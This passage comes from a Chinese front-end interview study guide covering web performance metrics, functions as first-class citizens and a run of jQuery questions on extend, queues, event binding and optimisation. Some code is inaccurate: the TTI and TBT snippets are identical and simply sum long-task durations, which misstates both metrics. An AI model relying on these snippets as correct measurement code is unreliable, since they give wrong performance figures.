    const blockingTime = longTasks.reduce((total, task) => total + task.duration, 0);
    console.log('TTI:', blockingTime);
}

window.addEventListener('load', () => {
    setTimeout(calculateTTI, 5000);
});

7. TBT(Total Blocking Time):

  • 计算方法:衡量页面在加载过程中存在的阻塞时间总和,即浏览器忙于处理 JavaScript 执行而导致无法响应用户输入的时间。
    • 监测到页面加载过程中 JavaScript 阻塞用户输入的时间段。
    • 将所有阻塞时间段的持续时间累积起来,即为 TBT。
function calculateTBT() {
    const longTasks = performance.getEntriesByType('longtask');
    const blockingTime = longTasks.reduce((total, task) => total + task.duration, 0);
    console.log('TBT:', blockingTime);
}

window.addEventListener('load', () => {
    setTimeout(calculateTBT, 5000);
});

上述示例代码可以在页面中嵌入并运行,通过浏览器的开发者工具或控制台查看相应的性能指标输出。注意,这些示例代码只是基本的计算方法,实际使用时可能需要根据具体的情况进行调整和扩展。此外,为了准确测量性能指标,建议在真实用户环境中进行测试和监测。

使用 web-vitals 库可以更方便地获取和处理性能指标。下面是使用 web-vitals 库的示例代码:

import { getCLS, getFID, getLCP, getFCP, getTTFB } from 'web-vitals';

// CLS (Cumulative Layout Shift)
getCLS(console.log);

// FID (First Input Delay)
getFID(console.log);

// LCP (Largest Contentful Paint)
getLCP(console.log);

// FCP (First Contentful Paint)
getFCP(console.log);

// TTFB (Time To First Byte)
getTTFB(console.log);

上述代码使用了 getCLS、getFID、getLCP、getFCP 和 getTTFB 函数来获取对应的性能指标,并将结果通过回调函数打印到控制台。

要使用 web-vitals 库,需要先安装该库并在项目中引入。可以使用 npm 或 yarn 进行安装:

npm install web-vitals

然后,在项目中引入 web-vitals:

import { getCLS, getFID, getLCP, getFCP, getTTFB } from 'web-vitals';

接下来,可以通过调用相应的函数来获取性能指标,并在回调函数中处理指标的结果。示例中使用 console.log 打印结果,但你可以根据需要进行其他的处理操作。

请注意,以上示例代码仅展示了如何使用 web-vitals 来获取指标,实际应用中可能需要根据具体情况进行处理和使用其他工具或方法来进行更全面的性能分析和优化。

# 126 谈谈你对函数是一等公民的理解

⚡ 30 秒速记

  • 一等公民的含义:函数和其它数据类型享有同等地位 —— 可以赋值给变量、作为参数传递、作为返回值、存进数组和对象
  • 由此衍生出的能力:高阶函数(map/filter/reduce)、回调、闭包、柯里化、函数组合、装饰器、中间件
  • 这是 JavaScript 能支持函数式编程范式的语言基础
  • 实际体现:React 的组件就是函数、Hooks 是函数、事件处理器是函数、Promise 的 then 接收函数
  • 对比:Java 8 之前没有一等函数,只能用匿名内部类模拟,写起来啰嗦得多
  • 加分点:函数在 JS 里本质是对象(typeof 是 'function' 但可以有属性、有 __proto__),所以才能被当值传递

函数是一等公民,意思是它和数字、字符串、对象一样,都可以作为普通的值来使用。 因此,函数既能赋给变量、放进数组或对象,也能作为参数传入另一个函数,或者作为返回值返回。这样的设计让高阶函数、函数组合和柯里化成为可能,也是 JavaScript 支持函数式编程的重要基础。函数还能通过闭包保留对外部变量的引用,适合封装状态,但也要留意这些引用带来的生命周期问题。

JavaScript 中的函数被称为一等公民(First-class Citizens),这意味着函数在语言中被视为普通的值,可以像其他数据类型(例如数字、字符串、对象)一样被传递、赋值、存储和返回。

以下是对 JavaScript 函数作为一等公民的几个重要特性和理解:

  1. 可以赋值给变量:函数可以像其他数据类型一样赋值给变量。你可以将函数定义存储在变量中,并在需要时将其作为值传递给其他函数或存储在数据结构中。
  2. 可以作为参数传递:函数可以作为参数传递给其他函数。这使得函数能够接受其他函数作为输入,并根据需要执行或处理。
  3. 可以作为返回值:函数可以作为另一个函数的返回值。你可以在一个函数内部定义并返回另一个函数,这使得函数能够灵活地生成和返回其他函数。
  4. 可以存储在数据结构中:函数可以存储在数组、对象或其他数据结构中。这使得你可以在需要时使用函数,并根据需求对其进行组合、迭代或操作。
  5. 可以通过字面量或表达式定义:函数可以通过函数字面量(函数表达式)或函数声明来定义。这为我们提供了灵活性,可以根据需要选择不同的方式来定义函数。
  6. 可以通过闭包捕获状态:由于 JavaScript 中的函数形成了闭包,函数可以访问其所在作用域中的变量。这意味着函数可以捕获并保持对外部变量的引用,即使在函数外部不可访问的情况下也可以使用。

这些特性使得 JavaScript 中的函数非常强大和灵活。函数作为一等公民使得我们可以使用函数式编程的思想和技术,如高阶函数、函数组合、柯里化等,以更加优雅和灵活地编写代码。

# 四、jQuery相关

# 1 你觉得jQuery源码有哪些写的好的地方

⚡ 30 秒速记

  • jQuery 已退出主流,这类题现在多出现在老项目维护岗;答"设计思想"而不是 API
  • 无 new 构造:jQuery() 内部 return new jQuery.fn.init(),用户不用写 new
  • 原型共享:jQuery.fn.init.prototype = jQuery.fn,让 init 造的实例能用全部原型方法
  • 链式调用:方法统一 return this
  • 插件机制:$.extend 挂静态方法、$.fn.extend 挂实例方法
  • IIFE 包裹避免污染全局,只暴露 $ 和 jQuery

我觉得 jQuery 源码比较值得学习的是封装边界、原型扩展和兼容性处理。 它用立即执行函数隔离内部变量,只把 $ 和 jQuery 暴露到全局,减少了命名污染。功能通过 jQuery.fn 扩展到原型上,既方便复用,也形成了清晰的插件机制;同时,它统一封装不同浏览器的差异,让调用方不必反复写兼容代码。源码里还会使用局部变量缓存和原生 DOM 操作兼顾效率,不过阅读时更应关注这些设计思想,而不是只记具体 API。

  • jQuery源码采用模块化的设计,将不同功能的代码模块化,并通过jQuery.fn扩展原型链,使得可以灵活地使用各种功能和方法。这样的设计使得代码结构清晰,易于维护和扩展。
  • jQuery源码中考虑了跨浏览器兼容性,通过封装和处理不同浏览器的差异,使得开发者可以方便地编写跨浏览器兼容的代码。
  • jQuery源码中使用了许多优化技巧,如缓存变量、使用局部作用域、使用原生DOM操作等,以提高性能和执行效率。
  • jQuery源码注重代码的可读性和可维护性,采用了语义化的命名和良好的代码风格,使得代码易于理解和维护。
  • jQuery源码提供了丰富的插件系统,使得开发者可以根据自己的需求扩展和定制jQuery的功能,且插件之间可以互相独立运行,提高了代码的可扩展性和重用性。

这些优点使得jQuery成为一个广泛使用的JavaScript库,并且为众多开发者提供了便利和效率。

以下是一个简单的示例,展示了jQuery源码中的一些写法和优点:

(function( window, undefined ) {
  // 在匿名函数中封装代码,避免全局污染

  var jQuery = function( selector, context ) {
    // jQuery的构造函数

    // 创建并返回一个jQuery对象,通过jQuery.fn扩展原型链

    return new jQuery.fn.init( selector, context );
  };

  // 将jQuery原型指向jQuery.fn,方便使用jQuery.fn的方法
  jQuery.fn = jQuery.prototype = {
    // jQuery的原型对象

    constructor: jQuery,

    // 扩展的方法和属性

    init: function( selector, context ) {
      // 初始化函数
      // ...

      return this;
    },

    // 更多方法...
  };

  // 在jQuery原型上扩展方法
  jQuery.fn.extend({
    // 扩展的方法
    // ...
  });

  // 将jQuery暴露到全局作用域
  window.jQuery = window.$ = jQuery;

})( window );

这段代码展示了jQuery源码中的一些优点,包括使用匿名函数封装代码、通过原型链扩展方法、使用局部变量和缓存、考虑跨浏览器兼容性等。这些设计和写法使得jQuery成为一个功能强大、性能优秀、易于使用和扩展的JavaScript库。

# 2 jQuery 的实现原理

⚡ 30 秒速记

  • 核心是一个"包装器":把原生 DOM 集合包成类数组对象,再挂一堆方法上去
  • 三层结构:jQuery() 工厂函数 → jQuery.fn.init 构造 → jQuery.fn(即 prototype)提供方法
  • 选择器交给 Sizzle 引擎(现代浏览器下直接走 querySelectorAll)
  • 所有方法 return this 实现链式;内部用 pushStack 维护 prevObject 支持 end() 回退
  • 今天的等价物:document.querySelectorAll + 扩展运算符,原生 API 已经够用了

jQuery 的实现本质上是对原生 JavaScript 和 DOM 能力做统一封装,再通过一个对象提供简洁的调用方式。 源码放在立即执行函数中隔离作用域,并把 jQuery 和 $ 挂到 window 上供外部使用。它借助构造函数和原型链共享选择、遍历、事件等方法,方法返回当前 jQuery 对象时就能继续链式调用。除此之外,事件、AJAX 和动画也被封装成统一接口,价值在于减少重复代码并屏蔽底层使用差异。

jQuery的实现原理可以总结如下:

  1. 使用立即调用表达式(IIFE):jQuery的源码被包裹在一个匿名的立即调用函数表达式中 (function() { /* jQuery code */ })();,这样可以创建一个独立的函数作用域,避免变量污染全局命名空间。
  2. 创建一个全局变量:通过 window.jQuery = window.$ = jQuery; 将 jQuery 对象赋值给 window 对象的属性,从而使得 jQuery 和 $ 在全局作用域下可访问,方便其他代码使用。
  3. 构造函数和原型链:jQuery 使用 function jQuery() { /* constructor code */ } 定义了一个构造函数,使用 jQuery.prototype 扩展了原型链,从而在构造函数的基础上拥有了一系列方法和属性。
  4. DOM 操作和选择器:jQuery 封装了一系列 DOM 操作和选择器的方法,使得开发者可以通过简洁的语法来操作和遍历 DOM 元素。
  5. 链式调用:jQuery 的方法通常返回 jQuery 对象本身,使得可以通过链式调用的方式进行连续的操作和修改。
  6. 事件处理:jQuery 提供了强大的事件处理机制,可以方便地绑定和解绑事件,并提供了一系列事件处理方法。
  7. AJAX 请求:jQuery 提供了简化的 AJAX 方法,使得进行异步数据请求变得更加便捷。
  8. 动画效果:jQuery 内置了一些常用的动画效果,如淡入淡出、滑动等,可以通过简单的方法调用来实现动画效果。

总的来说,jQuery的实现原理是通过封装和扩展原生JavaScript功能,提供了便捷的DOM操作、事件处理、动画效果、AJAX请求等功能,使得开发者可以更快速、高效地开发和操作网页应用。

# 3 jQuery.fn 的 init 方法返回的 this 指的是什么对象

⚡ 30 秒速记

  • 指向 init 构造出来的实例,也就是我们平时拿到的 jQuery 对象
  • 因为 jQuery.fn.init.prototype = jQuery.fn,所以这个实例能访问 jQuery.fn 上的全部方法
  • 这正是"不用写 new 也能拿到带完整方法的对象"的实现原理
  • 该对象是类数组:有 length、有数字索引,但不是真数组(要用 $().get() 或 toArray() 转)

jQuery.fn.init 返回的 this,指的是调用 init 初始化出来的当前 jQuery 对象。 用户执行 $('div') 后拿到的就是这个对象,后续可以在它上面调用 addClass、css、text 等原型方法。相关方法继续返回 this,就能让多次操作始终围绕同一个对象进行,从而形成链式调用。需要注意,this 不是原生 DOM 元素本身,而是封装了元素集合和操作方法的 jQuery 对象。

jQuery.fn 的 init 方法返回的 this 指的是 jQuery 对象本身。当用户使用 jQuery() 或 $() 初始化 jQuery 对象时,实际上是调用了 init 方法,而这个方法返回的就是一个 jQuery 对象,也就是 this。通过返回 this,jQuery 实现了链式调用的特性,可以连续对同一个 jQuery 对象进行操作和调用方法。例如:

var $div = $('div'); // 初始化一个 jQuery 对象
$div.addClass('highlight') // 对该 jQuery 对象调用 addClass 方法
    .css('color', 'red') // 继续调用 css 方法
    .text('Hello, World!'); // 继续调用 text 方法

// 上述操作可以链式调用,连续对同一个 jQuery 对象进行多个方法的操作

在这个例子中,$div 是一个 jQuery 对象,通过调用 addClass、css 和 text 方法,并在每次方法调用后返回 this,实现了链式调用的效果。这样的链式调用可以简化代码,提高可读性和开发效率。

# 4 jQuery.extend 与 jQuery.fn.extend 的区别

⚡ 30 秒速记

  • $.extend(obj):往 jQuery 命名空间挂静态方法,用法 $.myUtil()
  • $.fn.extend(obj):往 jQuery.fn(原型)挂实例方法,用法 $('div').myPlugin()
  • 两者共用同一份实现,靠 this 指向不同来区分挂载目标
  • $.extend(target, ...sources) 还兼作对象合并工具;第一个参数传 true 表示深拷贝
  • 写 jQuery 插件基本都用 $.fn.extend

jQuery.extend() 用来扩展 jQuery 本身或合并对象,jQuery.fn.extend() 则用来扩展实例方法。 前者添加的方法通过 $.method() 调用,后者添加到 jQuery.fn 后,要通过 $(selector).method() 调用。$.extend(target, ...sources) 会修改并返回目标对象,首个参数传 true 时还能递归合并。写通用工具适合用前者,写作用于选中元素的插件则用后者。

jQuery.extend() 和 jQuery.fn.extend() 是 jQuery 提供的两个方法用于扩展功能。

  • jQuery.extend(object):这个方法用于向 jQuery 添加静态方法,也称为工具方法。通过传入一个对象,可以将对象中的方法和属性添加到 jQuery 对象上,从而可以通过 $.method() 的形式来调用这些静态方法。例如,$.min() 和 $.max() 是通过 $.extend() 添加的静态方法,可以直接通过 $.min() 和 $.max() 来调用。
  • jQuery.extend([deep,] target, object1 [, objectN]):这个方法用于扩展目标对象(target),将一个或多个对象的属性和方法合并到目标对象中。它可以实现对象的深度拷贝,还可以控制是否进行递归合并。第一个参数 deep 是可选的,用于控制是否进行深度拷贝,默认为浅拷贝。目标对象将被修改,同时返回目标对象。这个方法主要用于对象的合并和扩展。
  • jQuery.fn.extend(json):这个方法用于向 jQuery 原型(jQuery.fn)添加成员函数,也称为实例方法。通过传入一个对象,可以将对象中的方法添加到 jQuery 原型上,从而可以通过 $(selector).method() 的形式来调用这些实例方法。例如,$.fn.alertValue() 是通过 $.fn.extend() 添加的实例方法,可以通过 $("#email").alertValue() 来调用。

综上所述,$.extend() 用于添加静态方法和进行对象的合并,而 $.fn.extend() 用于添加实例方法。它们都是为了扩展 jQuery 的功能,提供更多的方法和功能供开发者使用。

当使用 $.extend() 方法时,可以通过以下示例来理解其用法:

// 添加静态方法
$.extend({
  min: function(a, b) {
    return a < b ? a : b;
  },
  max: function(a, b) {
    return a > b ? a : b;
  }
});

console.log($.min(2, 3)); // 输出: 2
console.log($.max(4, 5)); // 输出: 5

// 合并对象
var settings = { validate: false, limit: 5 };
var options = { validate: true, name: "bar" };

$.extend(settings, options);

console.log(settings); // 输出: { validate: true, limit: 5, name: "bar" }

当使用 $.fn.extend() 方法时,可以通过以下示例来理解其用法:

// 添加实例方法
$.fn.extend({
  alertValue: function() {
    $(this).click(function() {
      alert($(this).val());
    });
  }
});

$("#email").alertValue(); // 点击元素时,弹出其值

在上述示例中,$.extend() 用于添加静态方法 min() 和 max(),可以通过 $.min() 和 $.max() 来调用。另外,$.extend() 也用于将 options 对象的属性合并到 settings 对象中,实现对象的合并。

而 $.fn.extend() 用于添加实例方法 alertValue(),通过选取具有 id 为 "email" 的元素,并调用 .alertValue() 方法,当点击该元素时会弹出其值。

# 5 jQuery 的属性拷贝(extend)的实现原理是什么,如何实现深拷贝

⚡ 30 秒速记

  • 遍历源对象的可枚举属性逐个赋给目标对象;第一个参数为 true 时开启深拷贝
  • 深拷贝的核心:判断值是普通对象或数组就递归,否则直接赋值
  • 关键防护:跳过 target === copy 的情况,避免无限循环
  • jQuery 的实现不处理 Date/RegExp/Map/Set,也不处理循环引用
  • 现代替代:structuredClone()(原生、支持循环引用和多数内置类型)

$.extend() 本质上是遍历源对象的属性并写入目标对象,传入 true 后会递归复制引用类型。 默认浅拷贝只复制对象或数组的引用,所以修改拷贝结果中的嵌套数据,原对象也可能跟着变化。使用 $.extend(true, {}, source) 时,嵌套对象和数组会继续向下复制,修改结果通常不会影响源对象。是否需要深拷贝,要看业务是否会修改嵌套数据。

jQuery 的属性拷贝(extend)实现原理如下:

  • 浅拷贝:当使用 $.extend(target, obj1, obj2, ...) 进行属性拷贝时,它会将 obj1、obj2 等对象的属性复制到 target 对象中。如果属性值是对象或数组,那么复制的是对象或数组的引用,即浅拷贝。这意味着修改复制后的对象中的引用类型属性时,原始对象和拷贝后的对象会同时受到影响。

  • 深拷贝:如果需要进行深拷贝,即复制对象及其引用类型属性的值而不是引用,可以通过使用 $.extend(true, target, obj1, obj2, ...) 来实现。这样,在拷贝过程中,会递归遍历对象的属性,对引用类型属性进行深度拷贝。

以下是一个示例,展示浅拷贝和深拷贝的区别:

var obj1 = {
  name: "poetry",
  age: 30,
  hobbies: ["reading", "playing"],
  address: {
    city: "New York",
    country: "USA"
  }
};

// 浅拷贝
var shallowCopy = $.extend({}, obj1);
shallowCopy.name = "Jane";
shallowCopy.hobbies.push("swimming");
shallowCopy.address.city = "San Francisco";

console.log(obj1); // 原始对象受到影响
console.log(shallowCopy);

// 深拷贝
var deepCopy = $.extend(true, {}, obj1);
deepCopy.name = "Mike";
deepCopy.hobbies.push("traveling");
deepCopy.address.city = "Chicago";

console.log(obj1); // 原始对象不受影响
console.log(deepCopy);

在上述示例中,浅拷贝的结果是 shallowCopy,它复制了 obj1 的属性,包括引用类型的数组 hobbies 和对象 address。当修改 shallowCopy 的属性值时,原始对象 obj1 也会受到影响。

而深拷贝的结果是 deepCopy,它同样复制了 obj1 的属性,但是在拷贝过程中,对于引用类型的属性值进行了深度拷贝。因此,修改 deepCopy 的属性值不会影响到原始对象 obj1。

# 6 jQuery 的队列是如何实现的

⚡ 30 秒速记

  • 用 $.queue / $.dequeue 在元素的 data 上存一个函数数组
  • dequeue 取出第一个函数执行,并把 next 回调传给它;函数内调 next() 才继续下一个
  • 动画(animate)就是基于这套队列实现串行播放的,默认队列名 "fx"
  • 本质是一个手动驱动的任务链,思想类似今天的 async 队列或中间件洋葱模型
  • 现代等价物:Promise 链式或 async/await 顺序 await

jQuery 队列通过 queue() 保存函数,并由 dequeue() 按先进先出的顺序逐个取出执行。 队列函数完成后调用传入的 next(),才会继续处理下一项,因此异步任务也能按指定顺序衔接。clearQueue() 可以直接清空尚未执行的函数,也可以用数组替换已有队列。连续动画就是典型场景,多段 animate() 会借助队列依次播放。

jQuery 的队列是通过使用 queue()、dequeue() 和 clearQueue() 方法来实现的。

  • queue() 方法用于将一个或多个函数添加到指定元素的队列中。可以为每个队列命名,以便后续使用。函数将按照它们被添加到队列的顺序执行。
  • dequeue() 方法用于从队列中取出并执行队列中的下一个函数。它按照先进先出的顺序执行队列中的函数,并返回执行的结果。
  • clearQueue() 方法用于清空队列中的所有函数,使队列为空。

以下是一个示例,展示了如何使用队列控制方法:

var func1 = function() {
  console.log('事件1');
};

var func2 = function() {
  console.log('事件2');
};

var func3 = function() {
  console.log('事件3');
};

var func4 = function() {
  console.log('事件4');
};

// 入栈队列事件
$('#box').queue("queue1", func1);  // 将 func1 添加到 queue1 队列
$('#box').queue("queue1", func2);  // 将 func2 添加到 queue1 队列

// 替换队列事件
$('#box').queue("queue1", []);  // 清空 queue1 队列
$('#box').queue("queue1", [func3, func4]);  // 替换 queue1 队列为 func3 和 func4

// 获取队列事件(返回一个函数数组)
var queue1 = $('#box').queue("queue1");
console.log(queue1);  // [func3(), func4()]

// 出栈队列事件并执行
$('#box').dequeue("queue1"); // 执行 func3
$('#box').dequeue("queue1"); // 执行 func4

// 清空整个队列
$('#box').clearQueue("queue1"); // 清空 queue1 队列

在上述示例中,使用 queue() 方法将函数添加到名为 "queue1" 的队列中。然后,使用 dequeue() 方法从队列中取出并执行函数。使用 clearQueue() 方法可以清空整个队列。

请注意,上述示例中使用了 console.log() 函数来输出结果。你可以根据需要将其替换为适合你的代码的逻辑。

队列在 jQuery 中的主要应用场景包括:

  1. 动画效果:通过将多个动画函数添加到队列中,按照顺序依次执行,实现动画的连续效果。
$('#element').animate({property1: value1}, duration1)
  .animate({property2: value2}, duration2)
  .animate({property3: value3}, duration3);
  1. 异步操作:当需要按照特定的顺序执行一系列异步操作时,可以将这些操作添加到队列中,确保它们按照期望的顺序执行。
$('#button').click(function() {
  $('#loading').fadeIn().delay(2000).fadeOut(); // 显示加载动画
  $('#result').queue(function(next) {
    $.ajax({
      url: 'example.com',
      success: function(data) {
        $(this).html(data); // 异步请求完成后更新页面内容
        next(); // 执行下一个队列函数
      }
    });
  });
});
  1. 队列控制:通过队列控制方法,可以按照需要添加、移除、替换或清空队列中的函数,从而灵活地控制函数的执行顺序和流程。
$('#element').queue("myQueue", function(next) {
  // 队列函数的逻辑
  next(); // 执行下一个队列函数
});

$('#element').dequeue("myQueue"); // 执行队列函数

$('#element').clearQueue("myQueue"); // 清空队列

总之,队列在 jQuery 中用于管理和控制一系列函数的顺序执行,特别适用于动画效果、异步操作和队列控制的场景。

# 7 jQuery 中的 bind(), live(), delegate(), on()的区别

⚡ 30 秒速记

  • bind():直接绑在每个匹配元素上,不支持动态新增元素,已废弃
  • live():绑在 document 上做委托,性能差且不能链式,1.9 已移除
  • delegate():绑在指定父元素上做委托,比 live 精准,已被 on 取代
  • on():统一入口,$(parent).on('click', '.child', fn) 就是委托写法 —— 现在只需要记这一个
  • 原生等价物:parent.addEventListener('click', e => { if (e.target.closest('.child')) ... })

bind() 是直接绑定,live() 和 delegate() 属于事件代理,而 on() 是现在统一使用的绑定入口。 bind() 只作用于当前匹配元素,动态新增元素不会自动获得处理函数;live() 把代理放在 document 上,范围较大且已被弃用。delegate() 能把代理限制在指定父元素上,但也推荐改用 on()。面对动态子元素时,可以写成 $(parent).on('click', '.child', handler)。

示例代码:

// bind()
$('#myButton').bind('click', function() {
  // 点击事件处理逻辑
});

// live()
$('#myButton').live('click', function() {
  // 点击事件处理逻辑
});

// delegate()
$('#myContainer').delegate('#myButton', 'click', function() {
  // 点击事件处理逻辑
});

// on()
$('#myButton').on('click', function() {
  // 点击事件处理逻辑
});

解释:

  • bind() 方法直接在目标元素上绑定事件处理程序,适用于静态元素。
  • live() 方法通过事件冒泡在 document 上捕获事件,可以处理动态添加的元素。但在 jQuery 1.7+ 版本中已被弃用,推荐使用 on() 方法代替。
  • delegate() 方法通过事件冒泡在指定的父元素上进行事件代理,可以精确指定事件的范围,适用于动态添加的元素。在 jQuery 1.7+ 版本中,推荐使用 on() 方法代替。
  • on() 方法是最新的事件绑定机制,可以替代 bind()、live() 和 delegate()。它可以在目标元素上直接绑定事件,也可以通过事件冒泡或事件代理进行处理。使用 on() 方法更加灵活和统一,是推荐的事件绑定方式。

请注意,以上示例是基于 jQuery 1.7+ 版本的用法,如果使用的是旧版本的 jQuery,部分方法可能已被弃用或行为有所不同。建议查阅对应版本的官方文档以获取详细信息。

# 8 是否知道自定义事件

⚡ 30 秒速记

  • jQuery:$(el).on('myEvent', fn) 监听,$(el).trigger('myEvent', data) 触发
  • 原生等价物:new CustomEvent('myEvent', { detail, bubbles: true }) + dispatchEvent
  • 注意原生 CustomEvent 的 bubbles 默认 false,要冒泡必须显式开启
  • 用途:模块解耦、组件对外通知、微前端子应用间通信
  • 相比自己写 EventEmitter,DOM 自定义事件的优势是能利用冒泡和事件委托

自定义事件就是利用事件机制实现发布与订阅,让不同模块不用直接互相调用。 原生写法是用 CustomEvent 创建事件,通过 addEventListener 监听,再用 dispatchEvent 触发,业务数据可以放在 detail 中。需要事件冒泡时,要显式把 bubbles 设为 true,因为它默认不冒泡。jQuery 中则用 .on() 监听、.trigger() 触发,适合组件通知或模块解耦。

自定义事件是一种在JavaScript中实现发布/订阅模式的方式,通过自定义事件可以实现模块间的解耦和更灵活的事件处理。

在原生JavaScript中,可以使用CustomEvent对象来创建自定义事件,然后使用addEventListener方法来监听事件,使用dispatchEvent方法来触发事件。

示例代码如下:

// 创建自定义事件
var customEvent = new CustomEvent('myEvent', { detail: { data: 'example' } });

// 监听事件
document.addEventListener('myEvent', function(event) {
  console.log('Event triggered: ' + event.detail.data);
});

// 触发事件
document.dispatchEvent(customEvent);

在jQuery中,可以使用on方法来绑定自定义事件的处理函数,使用trigger方法来触发自定义事件。

示例代码如下:

// 绑定自定义事件处理函数
$(document).on('myEvent', function(event, data) {
  console.log('Event triggered: ' + data);
});

// 触发自定义事件
$(document).trigger('myEvent', 'example');

通过自定义事件,可以实现模块之间的松耦合,使代码更加可维护和可扩展。

# 9 jQuery 通过哪个方法和 Sizzle 选择器结合的

⚡ 30 秒速记

  • 通过 $.find(),它内部就是 Sizzle 的入口
  • jQuery.fn.find 调用 jQuery.find(即 Sizzle)完成选择器解析
  • Sizzle 是独立的选择器引擎,可脱离 jQuery 单独使用
  • 匹配策略:能用原生 querySelectorAll 就直接走原生,遇到 :eq() :contains() 这类非标准伪类才自己解析
  • Sizzle 的解析方向是从右往左(和浏览器 CSS 匹配一致)

jQuery 主要通过 $().find() 与 Sizzle 选择器引擎结合。 调用时把选择器交给 Sizzle 解析和执行,并把当前元素作为查找上下文,所以既能从整个文档查找,也能把范围限制在某个容器内。比如 $('.parent').find('.child') 只筛选该父元素内部的匹配节点,这样查找范围更明确。

在jQuery中,通过$().find()方法与Sizzle选择器结合使用来进行元素的查找和筛选。

示例代码如下:

// 在整个文档中查找符合条件的元素
var elements = $('body').find('.my-class');

// 在特定元素内部查找符合条件的子元素
var children = $('.parent-element').find('.child-class');

在上面的示例中,$().find()方法用于在指定的上下文中查找符合条件的元素。可以传递一个选择器作为参数,由Sizzle选择器引擎解析和执行。

通过$().find()方法,jQuery与Sizzle选择器结合,可以实现灵活的元素查找和筛选操作。

# 10 jQuery 中如何将数组转化为 JSON 字符串,然后再转化回来

⚡ 30 秒速记

  • 直接用原生 JSON.stringify 和 JSON.parse 即可,jQuery 没必要另造轮子
  • jQuery 旧版有 $.parseJSON(),3.0 起已废弃,内部就是调 JSON.parse
  • 注意 JSON.stringify 的坑:undefined/函数/Symbol 在数组里会变 null、Date 变字符串、循环引用直接抛错
  • 需要保留这些类型时用 structuredClone 或自定义 replacer/reviver

数组转成 JSON 字符串用 JSON.stringify(),需要还原时再用 JSON.parse()。 这两个都是原生方法,通常没必要依赖 jQuery 再封装一套;旧代码里的 $.parseJSON() 从 jQuery 3.0 开始已经过时。实际使用时可以封装成 $.array2json 和 $.json2array,方便统一调用。还要注意输入必须是合法的 JSON 字符串,否则解析会直接报错。

// 通过原生 JSON.stringify/JSON.parse 扩展 jQuery 实现
 $.array2json = function(array) {
    return JSON.stringify(array);
 }

 $.json2array = function(array) {
    // $.parseJSON(array); // 3.0 开始,已过时
    return JSON.parse(array);
 }

 // 调用
 var json = $.array2json(['a', 'b', 'c']);
 var array = $.json2array(json);

# 11 jQuery 一个对象可以同时绑定多个事件,这是如何实现的

⚡ 30 秒速记

  • jQuery 在元素的内部 data 上维护一张事件表:{ click: [handler1, handler2], ... }
  • 对每种事件类型只向 DOM 注册一个总的 dispatch 函数,触发时按表依次调用各 handler
  • 好处:便于统一管理(批量解绑、命名空间 .namespace、一次性 one)、避免重复注册
  • 原生等价物:addEventListener 本身就支持对同一元素同一事件绑多个函数,不需要额外机制
  • 写法上 jQuery 支持 $(el).on({ click: fn1, mouseover: fn2 }) 一次绑多种

jQuery 通过 .on() 接收多个事件名,或者接收“事件名到处理函数”的对象,从而给同一个对象绑定多个事件。 如果多个事件共用一个逻辑,可以写成 $('#btn').on('mouseover mouseout', func),触发任意一个事件都会调用 func。如果处理逻辑不同,就传入对象,分别为 mouseover、mouseout 和 click 指定函数。两种写法本质相同,选择时主要看这些事件是否需要共享处理逻辑。

在jQuery中,可以使用.on()方法为一个对象同时绑定多个事件。

示例代码1:

$("#btn").on("mouseover mouseout", func);

上述代码中,通过.on()方法为#btn元素同时绑定了mouseover和mouseout两个事件,它们都会调用同一个处理函数func。

示例代码2:

$("#btn").on({
    mouseover: func1,
    mouseout: func2,
    click: func3
});

上述代码中,通过.on()方法为#btn元素同时绑定了mouseover、mouseout和click三个事件,分别指定了不同的处理函数func1、func2和func3。

这样,当这些事件触发时,相应的处理函数将被调用。

通过将多个事件名称和处理函数作为参数传递给.on()方法,或者使用一个包含事件名称和处理函数的对象作为参数,可以实现为一个对象同时绑定多个事件。这样做既简洁又方便,可以提高代码的可读性和维护性。

# 12 针对 jQuery 的优化方法

⚡ 30 秒速记

  • 缓存选择结果:const $list = $('.list'),别在循环里反复 $()
  • 用事件委托代替给每个子元素绑事件
  • 批量 DOM 操作先拼字符串或用 DocumentFragment,最后一次性插入
  • 选择器尽量用 id 和 class,避免复杂的属性选择器和伪类(走不了原生 querySelectorAll)
  • 链式调用减少中间变量
  • 但最大的优化其实是:新项目别用 jQuery,原生 API 已经足够

优化 jQuery 的重点,是减少重复查询、缩小选择范围,并控制对象和事件处理的开销。 我一般会缓存频繁使用的 DOM 对象,从父级 #id 开始查找,避免反复遍历页面。多个操作可用链式调用,列表事件则通过 on 做事件委托,减少绑定数量。元素关联的数据可以交给 data() 管理,同时应选择较新的 jQuery 版本,以获得已有的性能和稳定性改进。

  1. 缓存频繁操作 DOM 对象:
  • 当需要频繁操作某个 DOM 对象时,将其缓存到一个变量中可以避免不必要的 DOM 查询和遍历,提高代码的执行效率。
  1. 尽量使用 id 选择器代替 class 选择器:
  • 使用 id 选择器的性能比 class 选择器更高,因为 id 在页面中是唯一的,而 class 可能存在多个匹配项。
  1. 总是从 #id 选择器来继承:
  • 通过指定父级元素的 id 选择器来限定查找范围,这样可以减少选择器的搜索范围,提高查找速度。
  1. 尽量使用链式操作:
  • 链式操作可以减少不必要的 jQuery 对象的创建和查找,简化代码结构,提高代码的可读性和性能。
  1. 使用事件委托 on 绑定事件:
  • 通过将事件绑定在父元素上,利用事件冒泡机制,将事件处理委托给父元素处理,可以减少事件绑定的数量,提高性能。
  1. 采用 jQuery 的内部函数 data() 来存储数据:
  • 使用 data() 函数可以将数据附加到 DOM 元素上,避免在元素上存储额外的数据属性,减少内存占用和提高性能。
  1. 使用最新版本的 jQuery:
  • 每个版本的 jQuery 都在性能方面进行了优化和改进,使用最新版本可以获得更好的性能和稳定性。

通过应用这些优化方法,可以有效提升 jQuery 代码的执行效率和性能,提升用户体验。

下面给出一些示例代码来演示上述优化方法的应用:

  1. 缓存频繁操作 DOM 对象:
// 不优化的写法
for (var i = 0; i < $(".item").length; i++) {
  $(".item").eq(i).addClass("active");
}

// 优化后的写法
var $items = $(".item");
for (var i = 0; i < $items.length; i++) {
  $items.eq(i).addClass("active");
}
  1. 尽量使用 id 选择器代替 class 选择器:
// 不优化的写法
$(".container .item").addClass("active");

// 优化后的写法
$("#container #item").addClass("active");
  1. 总是从 #id 选择器来继承:
// 不优化的写法
$(".container .item").find(".sub-item").addClass("active");

// 优化后的写法
$("#container").find(".item").find(".sub-item").addClass("active");
  1. 尽量使用链式操作:
// 不优化的写法
$(".item").addClass("active");
$(".item").removeClass("hidden");
$(".item").show();

// 优化后的写法
$(".item").addClass("active").removeClass("hidden").show();
  1. 使用事件委托 on 绑定事件:
// 不优化的写法
$(".button").click(function() {
  // 处理点击事件
});

// 优化后的写法
$("#container").on("click", ".button", function() {
  // 处理点击事件
});
